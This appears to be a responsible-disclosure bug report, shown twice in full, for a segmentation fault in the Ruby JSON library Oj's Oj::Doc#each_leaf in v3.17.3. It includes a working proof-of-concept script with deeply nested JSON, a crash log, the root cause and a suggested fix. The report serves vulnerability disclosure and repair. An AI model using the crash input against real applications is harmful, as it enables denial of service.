Hello,
I found what appears to be a residual Oj::Doc depth-handling issue in Oj v3.17.3.
I saw the recently published advisory for Oj::Doc#each_child deep nesting (GHSA-3m6q-jj5j-38c9 / CVE-2026-54592), which is marked as fixed in v3.17.3. This report is for a different path: Oj::Doc#each_leaf still appears to increment doc->where before checking MAX_STACK. If the bounds check raises Oj::DepthError, Ruby code can rescue the exception while the Doc object is still live inside the Oj::Doc.open block. A later call to doc.where? then dereferences corrupted path state and crashes the Ruby process.
Tested version:
Repository: ohler55/oj
Commit: bbde91a
Tag: v3.17.3
Ruby: ruby 3.2.3
Platform: x86_64 Linux
Minimal reproducer:
require 'oj'
MAX_STACK = 100
key = 'k' * 23 + "\x08"
json = '{"' + key + '": ' + '[' * (MAX_STACK - 1) + '1' + ']' * (MAX_STACK - 1) + '}'
Oj::Doc.open(json) do |doc|
begin
doc.each_leaf {}
rescue Oj::DepthError
doc.where?
end
end
Run:
RUBYLIB="ext:lib" ruby poc_oj_doc_each_leaf_where_segv.rb
Observed result:
[BUG] Segmentation fault
...
CFUNC :where?
...
oj.so(esc_strlen+0x0) ext/oj/fast.c:1216
oj.so(doc_where) ext/oj/fast.c:1216
Root cause appears to be the post-increment bounds check in each_leaf:
doc->where++;
if (MAX_STACK <= doc->where - doc->where_path) {
rb_raise(...);
}
If rb_raise is triggered after doc->where++, control returns to Ruby via exception handling before doc->where-- executes. The live Doc object is then left with doc->where pointing one slot past where_path[MAX_STACK].
This looks similar in shape to the recently fixed each_child issue, but it is reachable in v3.17.3 through each_leaf and doc.where?.
A likely fix is to use the same pre-check pattern as the fixed each_child path:
if (MAX_STACK <= (doc->where + 1) - doc->where_path) {
rb_raise(...);
}
doc->where++;
or otherwise ensure doc->where is restored before raising.
Impact:
This allows attacker-controlled JSON input to crash a Ruby process if an application uses Oj::Doc#each_leaf, rescues Oj::DepthError, and then calls doc.where? or doc.where while still inside the Oj::Doc.open block. I am not claiming code execution.
I have a reduced local reproduction package with the PoC, tested commit details, and crash log if useful.
Hello,
I found what appears to be a residual Oj::Doc depth-handling issue in Oj v3.17.3.
I saw the recently published advisory for Oj::Doc#each_child deep nesting (GHSA-3m6q-jj5j-38c9 / CVE-2026-54592), which is marked as fixed in v3.17.3. This report is for a different path: Oj::Doc#each_leaf still appears to increment doc->where before checking MAX_STACK. If the bounds check raises Oj::DepthError, Ruby code can rescue the exception while the Doc object is still live inside the Oj::Doc.open block. A later call to doc.where? then dereferences corrupted path state and crashes the Ruby process.
Tested version:
Repository: ohler55/oj
Commit: bbde91a
Tag: v3.17.3
Ruby: ruby 3.2.3
Platform: x86_64 Linux
Minimal reproducer:
require 'oj'
MAX_STACK = 100
key = 'k' * 23 + "\x08"
json = '{"' + key + '": ' + '[' * (MAX_STACK - 1) + '1' + ']' * (MAX_STACK - 1) + '}'
Oj::Doc.open(json) do |doc|
begin
doc.each_leaf {}
rescue Oj::DepthError
doc.where?
end
end
Run:
RUBYLIB="ext:lib" ruby poc_oj_doc_each_leaf_where_segv.rb
Observed result:
[BUG] Segmentation fault
...
CFUNC :where?
...
oj.so(esc_strlen+0x0) ext/oj/fast.c:1216
oj.so(doc_where) ext/oj/fast.c:1216
Root cause appears to be the post-increment bounds check in each_leaf:
doc->where++;
if (MAX_STACK <= doc->where - doc->where_path) {
rb_raise(...);
}
If rb_raise is triggered after doc->where++, control returns to Ruby via exception handling before doc->where-- executes. The live Doc object is then left with doc->where pointing one slot past where_path[MAX_STACK].
This looks similar in shape to the recently fixed each_child issue, but it is reachable in v3.17.3 through each_leaf and doc.where?.
A likely fix is to use the same pre-check pattern as the fixed each_child path:
if (MAX_STACK <= (doc->where + 1) - doc->where_path) {
rb_raise(...);
}
doc->where++;
or otherwise ensure doc->where is restored before raising.
Impact:
This allows attacker-controlled JSON input to crash a Ruby process if an application uses Oj::Doc#each_leaf, rescues Oj::DepthError, and then calls doc.where? or doc.where while still inside the Oj::Doc.open block. I am not claiming code execution.
I have a reduced local reproduction package with the PoC, tested commit details, and crash log if useful.